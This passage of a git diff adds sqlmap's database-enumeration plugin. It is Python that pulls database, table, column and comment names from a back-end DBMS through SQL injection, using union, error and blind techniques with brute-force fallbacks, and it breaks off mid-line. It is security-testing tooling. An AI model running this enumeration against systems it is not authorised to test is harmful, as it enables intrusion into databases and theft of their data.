_)): + for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _): + query = query.strip() + if query: + conf.dumper.sqlQuery(query, self.sqlQuery(query)) + else: + conf.dumper.sqlQuery(snippet, self.sqlQuery(snippet)) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py new file mode 100644 index 00000000000..7f05d50ef38 --- /dev/null +++ b/plugins/generic/databases.py @@ -0,0 +1,1104 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.agent import agent +from lib.core.common import arrayizeValue +from lib.core.common import Backend +from lib.core.common import filterNone +from lib.core.common import filterPairValues +from lib.core.common import flattenValue +from lib.core.common import getLimitRange +from lib.core.common import isInferenceAvailable +from lib.core.common import isListLike +from lib.core.common import isNoneValue +from lib.core.common import isNumPosStrValue +from lib.core.common import isTechniqueAvailable +from lib.core.common import parseSqliteTableSchema +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.common import readInput +from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat +from lib.core.common import singleTimeLogMessage +from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.data import queries +from lib.core.decorators import stackedmethod +from lib.core.dicts import ALTIBASE_TYPES +from lib.core.dicts import FIREBIRD_TYPES +from lib.core.dicts import INFORMIX_TYPES +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS +from lib.core.enums import EXPECTED +from lib.core.enums import FORK +from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import CURRENT_DB +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import PLUS_ONE_DBMSES +from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.settings import UPPER_CASE_DBMSES +from lib.core.settings import VERTICA_DEFAULT_SCHEMA +from lib.request import inject +from lib.utils.brute import columnExists +from lib.utils.brute import tableExists +from thirdparty import six + +class Databases(object): + """ + This class defines databases' enumeration functionalities for plugins. + """ + + def __init__(self): + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.dumpedTable = {} + kb.data.cachedStatements = [] + + def getCurrentDb(self): + infoMsg = "fetching current database" + logger.info(infoMsg) + + query = queries[Backend.getIdentifiedDbms()].current_db.query + + if not kb.data.currentDb: + kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) + + if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): + kb.data.currentDb = VERTICA_DEFAULT_SCHEMA + + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): + warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() + warnMsg += "schema names for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + singleTimeWarnMessage(warnMsg) + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): + warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() + warnMsg += "user names for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + singleTimeWarnMessage(warnMsg) + + return kb.data.currentDb + + def getDbs(self): + if len(kb.data.cachedDbs) > 0: + return kb.data.cachedDbs + + infoMsg = None + + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5. database " + warnMsg += "names will be fetched from 'mysql' database" + logger.warning(warnMsg) + + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): + warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() + warnMsg += "for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + logger.warning(warnMsg) + + infoMsg = "fetching database (schema) names" + + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): + warnMsg = "user names are going to be used on %s " % Backend.getIdentifiedDbms() + warnMsg += "for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + logger.warning(warnMsg) + + infoMsg = "fetching database (user) names" + + else: + infoMsg = "fetching database names" + + if infoMsg: + logger.info(infoMsg) + + rootQuery = queries[Backend.getIdentifiedDbms()].dbs + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + query = rootQuery.inband.query2 + else: + query = rootQuery.inband.query + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + kb.data.cachedDbs = arrayizeValue(values) + + if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of databases" + logger.info(infoMsg) + + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + query = rootQuery.blind.count2 + else: + query = rootQuery.blind.count + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of databases" + logger.error(errMsg) + else: + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + for index in indexRange: + if Backend.isDbms(DBMS.SYBASE): + query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") + elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + query = rootQuery.blind.query2 % index + else: + query = rootQuery.blind.query % index + + db = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(db): + kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db)) + + if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + blinds = (False, True) + else: + blinds = (True,) + + for blind in blinds: + count = 0 + kb.data.cachedDbs = [] + while True: + query = rootQuery.inband.query2 % count + value = unArrayizeValue(inject.getValue(query, blind=blind)) + if not (value or "").strip(): + break + else: + kb.data.cachedDbs.append(value) + count += 1 + if kb.data.cachedDbs: + break + + if not kb.data.cachedDbs: + infoMsg = "falling back to current database" + logger.info(infoMsg) + self.getCurrentDb() + + if kb.data.currentDb: + kb.data.cachedDbs = [kb.data.currentDb] + else: + errMsg = "unable to retrieve the database names" + raise SqlmapNoneDataException(errMsg) + else: + kb.data.cachedDbs.sort() + + if kb.data.cachedDbs: + kb.data.cachedDbs = [_ for _ in set(flattenValue(kb.data.cachedDbs)) if _] + + return kb.data.cachedDbs + + def getTables(self, bruteForce=None): + if len(kb.data.cachedTables) > 0: + return kb.data.cachedTables + + self.forceDbmsEnum() + + if bruteForce is None: + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5.0" + logger.warning(warnMsg) + bruteForce = True + + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): + bruteForce = True + + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,): + try: + tables = self.getTables(False) + except SqlmapNoneDataException: + tables = None + + if not tables: + warnMsg = "cannot retrieve table names, " + warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) + bruteForce = True + else: + return tables + + if conf.db == CURRENT_DB: + conf.db = self.getCurrentDb() + + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.db = conf.db.upper() + + if conf.db: + dbs = conf.db.split(',') + else: + dbs = self.getDbs() + + dbs = [_ for _ in dbs if _ and _.strip()] + + for db in dbs: + dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) + + if bruteForce: + resumeAvailable = False + + for db, table in kb.brute.tables: + if db == conf.db: + resumeAvailable = True + break + + if resumeAvailable and not conf.freshQueries: + for db, table in kb.brute.tables: + if db == conf.db: + if conf.db not in kb.data.cachedTables: + kb.data.cachedTables[conf.db] = [table] + else: + kb.data.cachedTables[conf.db].append(table) + + return kb.data.cachedTables + + message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() + + if choice == 'N': + return + elif choice == 'Q': + raise SqlmapUserQuitException + else: + return tableExists(paths.COMMON_TABLES) + + infoMsg = "fetching tables for database" + infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs))) + logger.info(infoMsg) + + rootQuery = queries[Backend.getIdentifiedDbms()].tables + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + values = [] + + for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))): + if not isNoneValue(values) or not query: + break + + if condition: + if not Backend.isDbms(DBMS.SQLITE): + query += " WHERE %s" % condition + + if conf.excludeSysDbs: + infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) + logger.info(infoMsg) + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) + else: + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) + + if len(dbs) < 2 and ("%s," % condition) in query: + query = query.replace("%s," % condition, "", 1) + + if query: + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + values = [_ for _ in arrayizeValue(values) if _] + + if len(values) > 0 and not isListLike(values[0]): + values = [(dbs[0], _) for _ in values] + + for db, table in filterPairValues(values): + table = unArrayizeValue(table) + + if not isNoneValue(table): + db = safeSQLIdentificatorNaming(db) + table = safeSQLIdentificatorNaming(table, True).strip() + + if conf.getComments: + _ = queries[Backend.getIdentifiedDbms()].table_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) + + comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for table '%s'" % (comment, unsafeSQLIdentificatorNaming(table)) + if METADB_SUFFIX not in db: + infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get table comments" + singleTimeWarnMessage(warnMsg) + + if db not in kb.data.cachedTables: + kb.data.cachedTables[db] = [table] + else: + kb.data.cachedTables[db].append(table) + + if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: + for db in dbs: + if conf.excludeSysDbs and db in self.excludeDbsList: + infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) + continue + + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: + infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db) + singleTimeLogMessage(infoMsg) + continue + + for _query, _count in ((rootQuery.blind.query, rootQuery.blind.count), (getattr(rootQuery.blind, "query2", None), getattr(rootQuery.blind, "count2", None))): + if _query is None: + break + + infoMsg = "fetching number of tables for " + infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) + + if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + query = _count % unsafeSQLIdentificatorNaming(db) + else: + query = _count + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if count == 0: + warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db) + warnMsg += "appears to be empty" + logger.warning(warnMsg) + break + + elif not isNumPosStrValue(count): + warnMsg = "unable to retrieve the number of " + warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db) + singleTimeWarnMessage(warnMsg) + continue + + tables = [] + + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + for index in indexRange: + if Backend.isDbms(DBMS.SYBASE): + query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) + elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): + query = _query % index + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): + query = _query % (index, unsafeSQLIdentificatorNaming(db)) + else: + query = _query % (unsafeSQLIdentificatorNaming(db), index) + + table = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(table): + kb.hintValue = table + table = safeSQLIdentificatorNaming(table, True) + tables.append(table) + + if tables: + kb.data.cachedTables[db] = tables + + if conf.getComments: + for table in tables: + _ = queries[Backend.getIdentifiedDbms()].table_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) + + comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for table '%s'" % (comment, unsafeSQLIdentificatorNaming(table)) + if METADB_SUFFIX not in db: + infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get table comments" + singleTimeWarnMessage(warnMsg) + + break + else: + warnMsg = "unable to retrieve the table names " + warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.warning(warnMsg) + + if isNoneValue(kb.data.cachedTables): + kb.data.cachedTables.clear() + + if not kb.data.cachedTables: + errMsg = "unable to retrieve the table names for any database" + if bruteForce is None: + logger.error(errMsg) + return self.getTables(bruteForce=True) + elif not conf.search: + raise SqlmapNoneDataException(errMsg) + else: + for db, tables in kb.data.cachedTables.items(): + kb.data.cachedTables[db] = sorted(tables) if tables else tables + + if kb.data.cachedTables: + for db in kb.data.cachedTables: + kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db])) + + return kb.data.cachedTables + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.forceDbmsEnum() + + if conf.db is None or conf.db == CURRENT_DB: + if conf.db is None: + warnMsg = "missing database parameter. sqlmap is going " + warnMsg += "to use the current database to enumerate " + warnMsg += "table(s) columns" + logger.warning(warnMsg) + + conf.db = self.getCurrentDb() + + if not conf.db: + errMsg = "unable to retrieve the current " + errMsg += "database name" + raise SqlmapNoneDataException(errMsg) + + elif conf.db is not None: + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.db = conf.db.upper() + + if ',' in conf.db: + errMsg = "only one database name is allowed when enumerating " + errMsg += "the tables' columns" + raise SqlmapMissingMandatoryOptionException(errMsg) + + conf.db = safeSQLIdentificatorNaming(conf.db) + + if conf.col: + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.col = conf.col.upper() + + colList = conf.col.split(',') + else: + colList = [] + + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] + + for col in colList: + colList[colList.index(col)] = safeSQLIdentificatorNaming(col) + + colList = [_ for _ in colList if _] + + if conf.tbl: + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.tbl = conf.tbl.upper() + + tblList = conf.tbl.split(',') + else: + self.getTables() + + if len(kb.data.cachedTables) > 0: + if conf.db in kb.data.cachedTables: + tblList = kb.data.cachedTables[conf.db] + else: + tblList = list(six.itervalues(kb.data.cachedTables)) + + if tblList and isListLike(tblList[0]): + tblList = tblList[0] + + tblList = list(tblList) + elif not conf.search: + errMsg = "unable to retrieve the tables" + if METADB_SUFFIX not in conf.db: + errMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + raise SqlmapNoneDataException(errMsg) + else: + return kb.data.cachedColumns + + if conf.exclude: + tblList = [_ for _ in tblList if re.search(conf.exclude, _, re.I) is None] + + tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList) + + if bruteForce is None: + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5.0" + logger.warning(warnMsg) + bruteForce = True + + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): + warnMsg = "cannot retrieve column names, " + warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() + singleTimeWarnMessage(warnMsg) + bruteForce = True + + if bruteForce: + resumeAvailable = False + + for tbl in tblList: + for db, table, colName, colType in kb.brute.columns: + if db == conf.db and table == tbl: + resumeAvailable = True + break + + if resumeAvailable and not (conf.freshQueries and not colList): + columns = {} + + for column in colList: + columns[column] = None + + for tbl in tblList: + for db, table, colName, colType in kb.brute.columns: + if db == conf.db and table == tbl: + columns[colName] = colType + + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns + else: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} + + return kb.data.cachedColumns + + if kb.choices.columnExists is None: + message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") + kb.choices.columnExists = readInput(message, default='Y' if 'Y' in message else 'N').upper() + + if kb.choices.columnExists == 'N': + if dumpMode and colList: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): dict((_, None) for _ in colList)} + return kb.data.cachedColumns + else: + return None + elif kb.choices.columnExists == 'Q': + raise SqlmapUserQuitException + else: + return columnExists(paths.COMMON_COLUMNS) + + rootQuery = queries[Backend.getIdentifiedDbms()].columns + condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + for tbl in tblList: + if conf.db is not None and len(kb.data.cachedColumns) > 0 \ + and conf.db in kb.data.cachedColumns and tbl in \ + kb.data.cachedColumns[conf.db]: + infoMsg = "fetched table columns from " + infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.info(infoMsg) + + return {conf.db: kb.data.cachedColumns[conf.db]} + + infoMsg = "fetching columns " + condQuery = "" + + if len(colList) > 0: + if colTuple: + _, colCondParam = colTuple + infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) + else: + colCondParam = "='%s'" + infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) + + condQueryStr = "%%s%s" % colCondParam + condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + query += condQuery + + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("column_type", "data_type", query, flags=re.I) + + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + query += condQuery + + elif Backend.isDbms(DBMS.MSSQL): + query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, + conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + query += condQuery.replace("[DB]", conf.db) + + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): + query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl) + + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) + query += condQuery + + if dumpMode and colList: + values = [(_,) for _ in colList] + else: + infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) + if METADB_SUFFIX not in conf.db: + infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.info(infoMsg) + + values = None + + if values is None: + values = inject.getValue(query, blind=False, time=False) + if values and isinstance(values[0], six.string_types): + values = [values] + + if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): + index, values = 1, [] + + while True: + query = rootQuery.inband.query2 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) + value = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + + if isNoneValue(value) or value == " ": + break + else: + values.append((value,)) + index += 1 + + if Backend.isDbms(DBMS.SQLITE): + if dumpMode and colList: + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + else: + parseSqliteTableSchema(unArrayizeValue(values)) + + elif not isNoneValue(values): + table = {} + columns = {} + + for columnData in values: + if not isNoneValue(columnData): + columnData = [unArrayizeValue(_) for _ in columnData] + name = safeSQLIdentificatorNaming(columnData[0]) + + if name: + if conf.getComments: + _ = queries[Backend.getIdentifiedDbms()].column_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) + + comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name) + logger.info(infoMsg) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get column comments" + singleTimeWarnMessage(warnMsg) + + if len(columnData) == 1: + columns[name] = None + else: + key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1] + if Backend.isDbms(DBMS.FIREBIRD): + columnData[1] = FIREBIRD_TYPES.get(key, columnData[1]) + elif Backend.isDbms(DBMS.ALTIBASE): + columnData[1] = ALTIBASE_TYPES.get(key, columnData[1]) + elif Backend.isDbms(DBMS.INFORMIX): + notNull = False + if isinstance(key, int) and key > 255: + key -= 256 + notNull = True + columnData[1] = INFORMIX_TYPES.get(key, columnData[1]) + if notNull: + columnData[1] = "%s NOT NULL" % columnData[1] + + columns[name] = columnData[1] + + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns + else: + table[safeSQLIdentificatorNaming(tbl, True)] = columns + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + + elif isInferenceAvailable() and not conf.direct: + for tbl in tblList: + if conf.db is not None and len(kb.data.cachedColumns) > 0 \ + and conf.db in kb.data.cachedColumns and tbl in \ + kb.data.cachedColumns[conf.db]: + infoMsg = "fetched table columns from " + infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.info(infoMsg) + + return {conf.db: kb.data.cachedColumns[conf.db]} + + infoMsg = "fetching columns " + condQuery = "" + + if len(colList) > 0: + if colTuple: + _, colCondParam = colTuple + infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) + else: + colCondParam = "='%s'" + infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) + + condQueryStr = "%%s%s" % colCondParam + condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): + query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + query += condQuery + + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + query += condQuery + + elif Backend.isDbms(DBMS.MSSQL): + query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + query += condQuery.replace("[DB]", conf.db) + + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl) + query += condQuery + + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) + query += condQuery + + elif Backend.isDbms(DBMS.SQLITE): + if dumpMode and colList: + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) + else: + query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + parseSqliteTableSchema(unArrayizeValue(value)) + + return kb.data.cachedColumns + + table = {} + columns = {} + + if dumpMode and colList: + count = 0 + for value in colList: + columns[safeSQLIdentificatorNaming(value)] = None + else: + infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) + if METADB_SUFFIX not in conf.db: + infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.info(infoMsg) + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if not isNumPosStrValue(count): + if Backend.isDbms(DBMS.MSSQL): + count, index, values = 0, 1, [] + while True: + query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index) + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if isNoneValue(value) or value == " ": + break + else: + columns[safeSQLIdentificatorNaming(value)] = None + index += 1 + + if not columns: + errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "") + errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) + if METADB_SUFFIX not in conf.db: + errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.error(errMsg) + continue + + for index in getLimitRange(count): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), 